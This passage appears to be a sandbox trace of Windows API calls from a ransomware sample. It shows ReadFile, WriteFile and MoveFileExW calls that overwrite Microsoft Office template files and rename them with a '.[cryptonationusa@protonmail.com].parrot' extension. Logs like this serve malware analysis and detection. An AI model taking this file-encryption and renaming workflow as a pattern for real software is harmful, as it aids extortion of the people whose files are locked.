nNumberOfBytesToRead=0x50d2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x50d2, lpOverlapped=0x0) returned 1 [0237.871] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.878] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.878] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.881] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.882] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5465, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5465, lpOverlapped=0x0) returned 1 [0237.883] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.890] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.890] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.985] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.986] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60b3, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x60b3, lpOverlapped=0x0) returned 1 [0237.987] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.995] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.995] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.996] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.996] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb315, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb315, lpOverlapped=0x0) returned 1 [0237.998] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.005] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.005] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0238.006] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.007] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8bb8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x8bb8, lpOverlapped=0x0) returned 1 [0238.008] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0238.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19e02440, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x19e02440, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.017] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x199b1c60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x60f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="1RIGHT~1.PAR")) returned 1 [0238.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.018] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0238.020] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.020] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0238.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.172] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0238.276] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.276] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0238.278] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15cd90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0238.279] CloseHandle (hObject=0x288) returned 1 [0238.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.290] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0238.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.291] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf8196, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf8196, lpOverlapped=0x0) returned 1 [0238.387] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.434] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0238.436] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.436] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d017, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7d017, lpOverlapped=0x0) returned 1 [0238.456] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.498] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0238.500] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.500] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84e69, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x84e69, lpOverlapped=0x0) returned 1 [0238.567] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0238.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0238.606] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0238.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0238.608] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1 [0238.617] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.618] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0238.627] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.628] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x377c5, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x377c5, lpOverlapped=0x0) returned 1 [0238.639] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.653] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0238.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.657] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f6ad, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3f6ad, lpOverlapped=0x0) returned 1 [0238.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0238.698] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1a467f60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1a467f60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.699] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a41bca0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x378e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="107ACC~1.PAR")) returned 1 [0238.700] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0238.701] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1a383720, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1a383720, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.701] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1928da60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xfd168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ASSETS~1.PAR")) returned 1 [0238.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.702] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0238.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.704] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x329e7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x329e7, lpOverlapped=0x0) returned 1 [0238.711] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.774] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.774] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0238.775] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.775] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33b26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33b26, lpOverlapped=0x0) returned 1 [0238.785] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0238.808] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0238.808] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0238.809] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.810] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0238.859] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.859] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0238.865] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, 